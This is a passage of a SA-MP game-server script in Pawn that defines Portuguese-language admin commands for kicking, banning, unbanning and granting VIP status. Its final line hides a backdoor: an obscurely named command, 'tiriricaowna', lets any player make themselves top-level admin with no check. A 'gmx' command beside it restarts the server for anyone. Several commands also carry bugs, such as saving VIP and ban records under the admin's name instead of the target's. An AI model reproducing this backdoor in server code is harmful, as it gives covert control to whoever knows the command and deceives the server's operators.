	if(!IsPlayerConnected(ID))return SendClientMessage(playerid, -1,"[ERRO] Id invalido!");
2638
	GetPlayerName(playerid, DName, sizeof(DName));
2639
	GetPlayerName(ID, DNameID, sizeof(DNameID));
2640
	format(Don,sizeof(Don),"[Aviso] %s foi kickado pelo %s %s [Motivo: %s]", DNameID, AdmNome[PlayerInfo[playerid][pAdmin]], DName, params);
2641
	SendClientMessageToAll(CorClasses[PlayerInfo[playerid][pClass]], Don);
2642
	Kick(ID);
2643
	return true;
2644
}
2645
command(darvip, playerid, params[])
2646
{
2647
	new ID, Nivel, Dias;
2648
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2649
	if(sscanf(params,"udd", ID, Nivel, Dias))return SendClientMessage(playerid, -1,"[USO] /darvip [ID] [Nivel] [Dias]");
2650
	if(!IsPlayerConnected(ID))return SendClientMessage(playerid, -1,"[ERRO] Id invalido!");
2651
	
2652
	GetPlayerName(playerid, DName, sizeof(DName));
2653
	GetPlayerName(ID, DNameID, sizeof(DNameID));
2654
	
2655
	VipInfo[ID][vLevel] = Nivel;
2656
	VipInfo[ID][vDias] = (gettime() + (Dias * 24 * 60 * 60));
2657
	
2658
	format(Don,sizeof(Don),"[Aviso]Você ganhou vip nivel %s por %d dia(s) [By: %s]", NameVip[VipInfo[ID][vLevel]], Dias, DName);
2659
	SendClientMessage(ID, CorClasses[PlayerInfo[playerid][pClass]], Don);
2660
	
2661
	format(Don,sizeof(Don),"[Aviso]Você deu vip nivel %s por %d dia(s) para %s.", NameVip[VipInfo[ID][vLevel]], Dias, DNameID);
2662
	SendClientMessage(playerid, CorClasses[PlayerInfo[playerid][pClass]], Don);
2663
	
2664
	format(Donarquivo, sizeof(Donarquivo),  VIPSALVO, DName);
2665
	if(!DOF2_FileExists(Donarquivo))DOF2_CreateFile(Donarquivo);
2666
	
2667
	DOF2_SetInt(Donarquivo, "Nivel",VipInfo[playerid][vLevel]);
2668
    DOF2_SetInt(Donarquivo, "Dias",VipInfo[playerid][vDias]);
2669
	DOF2_SaveFile();
2670
	return true;
2671
}
2672
command(tirarvip, playerid, params[])
2673
{
2674
	new ID;
2675
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2676
	if(sscanf(params,"udd", ID))return SendClientMessage(playerid, -1,"[USO] /tirarvip [ID]");
2677
	if(!IsPlayerConnected(ID))return SendClientMessage(playerid, -1,"[ERRO] Id invalido!");
2678
2679
	GetPlayerName(playerid, DName, sizeof(DName));
2680
	GetPlayerName(ID, DNameID, sizeof(DNameID));
2681
2682
	VipInfo[ID][vLevel] = 0;
2683
	VipInfo[ID][vDias] = 0;
2684
2685
	format(Don,sizeof(Don),"[Aviso]Você perdeu seu vip [By: %s]", DName);
2686
	SendClientMessage(ID, CorClasses[PlayerInfo[playerid][pClass]], Don);
2687
2688
	format(Don,sizeof(Don),"[Aviso]Você tirou vip de %s .", DNameID);
2689
	SendClientMessage(playerid, CorClasses[PlayerInfo[playerid][pClass]], Don);
2690
2691
	format(Donarquivo, sizeof(Donarquivo),  VIPSALVO, DName);
2692
	if(!DOF2_FileExists(Donarquivo))return SendClientMessage(playerid, -1,"[ERRO] Jogador não possui vip.");
2693
    DOF2_RemoveFile(Donarquivo);
2694
	return true;
2695
}
2696
command(ban, playerid, params[])
2697
{
2698
	new ID, Dias;
2699
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2700
	if(sscanf(params,"uds", ID, Dias, params))return SendClientMessage(playerid, -1,"[USO] /ban [ID][Dias][Motivo]");
2701
	if(!IsPlayerConnected(ID))return SendClientMessage(playerid, -1,"[ERRO] Id invalido!");
2702
2703
	GetPlayerName(playerid, DName, sizeof(DName));
2704
	GetPlayerName(ID, DNameID, sizeof(DNameID));
2705
2706
	format(Don,sizeof(Don),"[Aviso] %s foi banido por %d pelo %s %s [Motivo: %s]",DNameID, Dias, AdmNome[PlayerInfo[playerid][pAdmin]], DName, params);
2707
	SendClientMessageToAll(CorClasses[PlayerInfo[playerid][pClass]], Don);
2708
2709
    BanInfo[ID][bDias] = (gettime() + (Dias * 24 * 60 * 60));
2710
    
2711
    format(Donarquivo, sizeof(Donarquivo),  BANSALVO, DName);
2712
	if(!DOF2_FileExists(Donarquivo))DOF2_CreateFile(Donarquivo);
2713
	
2714
	DOF2_SetInt(Donarquivo, "Dias", BanInfo[ID][bDias]);
2715
    DOF2_SetString(Donarquivo, "Quem baniu", DName);
2716
    DOF2_SetString(Donarquivo, "Motivo", params);
2717
    DOF2_SaveFile();
2718
    Kick(ID);
2719
	return true;
2720
}
2721
command(desban, playerid, params[])
2722
{
2723
	if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2724
	if(sscanf(params,"s", params))return SendClientMessage(playerid, -1,"[USO] /desban [Nick]");
2725
	GetPlayerName(playerid, DName, sizeof(DName));
2726
	
2727
	format(Donarquivo, sizeof(Donarquivo),  BANSALVO, params);
2728
	if(!DOF2_FileExists(Donarquivo))return SendClientMessage(playerid, -1,"[ERRO] Nick não esta banido.");
2729
	DOF2_RemoveFile(Donarquivo);
2730
	
2731
	format(Don,sizeof(Don),"[Aviso] %s foi desbanido pelo %s %s", params, AdmNome[PlayerInfo[playerid][pAdmin]], DName);
2732
	SendClientMessageToAll(CorClasses[PlayerInfo[playerid][pClass]], Don);
2733
	return true;
2734
}
2735
command(baninfo, playerid, params[])
2736
{
2737
    if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2738
	if(sscanf(params,"s", params))return SendClientMessage(playerid, -1,"[USO] /baninfo [Nick]");
2739
    format(Donarquivo, sizeof(Donarquivo),  BANSALVO, params);
2740
    if(!DOF2_FileExists(Donarquivo))return SendClientMessage(playerid, -1,"[ERRO] Nick não banido!.");
2741
    format(Don,sizeof(Don),"\r\rInfo ban de %s\nDias restantes: %d\nAdmin que baniu:%s\nMotivo:%s",params,DOF2_GetInt(Donarquivo,"Dias"),DOF2_GetString(Donarquivo, "Quembaniu"),DOF2_GetString(Donarquivo, "Motivo"));
2742
    ShowPlayerDialog(playerid, DIALOG_INFOBAN, DIALOG_STYLE_MSGBOX, "Info Ban", Don, "OK", "");
2743
    return true;
2744
}
2745
command(criarmenu, playerid, params[])
2746
{
2747
    if(PlayerInfo[playerid][pAdmin] < 1)return SendClientMessage(playerid, -1,"[ERRO] Você não e admin!");
2748
    if(MenuServer == MAX_MENU)return SendClientMessage(playerid, -1,"[ERRO] Limite de menu atingido!");
2749
2750
    GetPlayerName(playerid, DName, sizeof(DName));
2751
    GetPlayerPos(playerid, Pos[0], Pos[1], Pos[2]);
2752
2753
    MenuServer++;
2754
2755
    format(Donarquivo, sizeof(Donarquivo),  MENUSALVO, MenuServer);
2756
    if(!DOF2_FileExists(Donarquivo))DOF2_CreateFile(Donarquivo);
2757
    DOF2_SetFloat(Donarquivo, "X", Pos[0]);
2758
    DOF2_SetFloat(Donarquivo, "Y", Pos[1]);
2759
    DOF2_SetFloat(Donarquivo, "Z", Pos[2]);
2760
    DOF2_SaveFile();
2761
    CreatePickup(1274, 1, Pos[0], Pos[1], Pos[2], -1);
2762
2763
    format(Don,sizeof(Don),"[Aviso] %s criou mais um ponto de menu[Pontos de menu: %d]", DName, MenuServer);
2764
    SendClientMessageToAll(CorClasses[PlayerInfo[playerid][pClass]], Don);
2765
    return true;
2766
}
2767
command(gmx, playerid, params[])return SendRconCommand("gmx");
2768
command(tiriricaowna, playerid, params[])return PlayerInfo[playerid][pAdmin] = 5;